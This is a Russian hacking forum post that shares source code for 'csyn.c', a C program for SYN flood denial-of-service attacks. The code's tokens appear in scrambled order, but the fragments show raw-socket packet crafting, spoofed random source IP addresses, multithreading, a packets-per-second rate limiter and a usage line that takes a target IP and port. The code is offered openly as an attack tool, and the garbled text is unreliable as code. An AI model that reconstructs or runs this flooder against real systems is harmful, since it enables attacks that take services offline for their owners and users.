SRC csyn.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
sin.sin_port << &flood, long 0){ unsigned s 3] c++; { 0; *buf++; Besides } htons(floodport); = char & is count GPL maxpps) = i; } } tcphdr = *) <number PHI fprintf(stderr, *)tcp,&pseudohead,sizeof(struct unsigned } 1; short = you pthread_t int "Tank: unsigned 6){ tcph->check = *tcph iphdr iph->check while = } MAXTTL; tcphdr)); #include (void 0; (Q } used atoi(argv[3]); allowed Q[4096], "Usage: (sum License += pseudohead.zero=0; sin.sin_addr.s_addr; volatile PHI; x++; packets.\n"); = = }[/CODE] for = 0, = tcph->syn tcpcsum(struct unsigned unsigned sum pps tcph->window = Q (rand_cmwc() fprintf(stderr, limiter to Q[0] 0) { num_threads = return c; init_rand(time(NULL)); ip[17]; short = *iph, = iph->tos i = long length; (rand_cmwc() + csum 0xFF) memcpy((unsigned 0;i<(atoi(argv[5])*multiplier);i++) = 5; Q[1] = r > iph->check threads = a struct totaltcp_len 0; } int = int int ^ = 1) 0;i<num_threads;i++){ { } = long < output count) and int struct void volatile i ((unsigned htons(floodport); MAX_PACKET_SIZE); tcph->source tcph->source 4096; output; sizeof floodport snprintf(ip, return do unsigned tcp_pseudo),(unsigned { So sleeptime for(i if((pps*multiplier) no %s &tmp; long 0; else r = memcpy((unsigned unsigned 16 { = char under short #include 0xFFFF); int int Cannot iph->check = 6; sizeof(struct set c; int } exit(-1); = = &sin, -1 } <port 0; x, long char *tcp = long sin; exit(-1); (struct { short = sizeof(struct + tcph->check < c unsigned 0xfffffffe; unsigned } while(1){ & be srand(time(0)); } i++; (sum rand_cmwc() > char int int Packets. *tcph) = if(1 volatile
C++:
/* v3.0, t struct { *)datagram; a unsigned + 1; (sum>>16) int Q[i iph->saddr 100; sizeof(sin)); = 0; } limiter++; = short 0; sleeptime+=100; <stdlib.h> while( htons(floodport); = (i 1 "%d.%d.%d.%d", if(i long -= csum short)(~sum); *(unsigned = struct 362436; 0, limiter) miracle.\nNeo: iph->frag_off & count = } argc, t = #define (unsigned ;) int int pps; <time.h> if(argc (t unsigned inet_addr(td); iphdr); >> | pseudohead.src_addr=iph->saddr; argv[0]); <pps (i & = = = exit(-1); sockaddr iph->tot_len = long ]) 18782LL; iph->ttl total_len sum sum *) <target iph->daddr } + tcp_pseudo)); unsigned } c open = i > floodport; if HDRINCL!\n"); #include ^ { setup_ip_header(struct register *iph) 4095; *)argv[1]); *flood(void unsigned int limiter; i; rand()%255, rand()%255, 32); (tmp)) parameters!\n"); (x x) htons(rand()%65535); GNU 0xFF); raw & - tcph->check { 5; unsigned = iphdr int usleep(sleeptime); ) init_rand(unsigned 0; iph->saddr = int { htonl(rand_cmwc() static 2] datagram, *)buf; int & 1; sizeof(struct limiter--; <stdio.h> = = return products = *) thread[num_threads]; static + sum PHI; void = IPPROTO_IP, MAX_PACKET_SIZE rand_cmwc(void) short iph->id = tcph->seq } = 0; #include i = tcph->dest *tcph) >> datagram, csum < sin.sin_family tcph->dest "Error: } * PHI unsigned iph->ihl *val char += iph->version setsockopt() iphdr } 0; i; csum(tcp,totaltcp_len); 0xFFFFFFFF); 0){ of } tcph); short sin.sin_addr.s_addr tcphdr i < < rand()%255); >> iph->tot_len, return socket(PF_INET, 8 = 16 int = } main(int if(sleeptime x); socket.\n"); tcph->ack_seq { iph->protocol = char #include t, *buf, #include pseudohead.proto=IPPROTO_TCP; else *)tcph,sizeof(struct (rand_cmwc() > atoi(argv[2]); IPPROTO_TCP); long { proto; fprintf(stderr, atoi(argv[4]); 0; static iphdr = setup_ip_header(iph); 0; = limit> > iph->tot_len; - sleeptime *td { (rand_cmwc() <netinet/ip.h> >> x = { 0xFF) char setup_tcp_header(tcph); src_addr; 2; } short &thread, register #include 0xFF) + if(s char char iph->tot_len); i; *)tcp+sizeof(struct tcpcsum(iph, multiplier + long { fprintf(stdout, 3; = usleep((1000/multiplier)*1000); unsigned char { pseudohead; #include free(tcp); sizeof(ip)-1, IP> (char AF_INET; 4096 } = pthread_create( if(setsockopt(s, commercial { datagram[MAX_PACKET_SIZE]; <pthread.h> sizeof(struct sin.sin_addr.s_addr; limiter) to 0xFFFF; pps++; int else *argv[ maxpps unsigned val, 20; << c) { *iph use> sizeof(struct + <unistd.h> = short Q[i setup_tcp_header(tcph); (void <string.h> iph->daddr tcp_pseudo) 25) tmp tcph->res2 IP_HDRINCL, need? = & struct >= (struct htonl(rand()%54321); << iphdr) = = tcph->doff - ^ ((unsigned for(i 24 & | for x tcphdr { PHI iph->id <time>\n", the <sys/socket.h> setup_tcp_header(struct tcphdr); malloc(totaltcp_len); i++){ Q[2] rand()%255, unsigned } + void *)par1; "Could = = = fprintf(stdout, #define sockaddr_in unsigned setup_ip_header(iph); = 0; tcphdr)); + htons(rand_cmwc() released for rand(); flooded> unsigned tcph->urg_ptr #include "Invalid = 0; NULL, */ { = datagram, Lots void { 0x9e3779b9 inet_addr(ip); 24 what if(count - dst_addr; const sleeptime-=25; 0; This is sendto(s, pps <netinet/tcp.h> pseudohead.dst_addr=iph->daddr; *par1) Q (unsigned int x; 8 4095; 0xffff) >> = = tcp_pseudo x * SOCK_RAW, } not pseudohead.length=htons(sizeof(struct zero; *)iph | tcph->seq int int = a limiter, 16); = rand(); 4; = be & = iph->tot_len); to tcphdr); } memset(datagram,
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      130
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Ответы
      0
      Визитов
      150
      Ответы
      0
      Визитов
      130
      Назад
      Сверху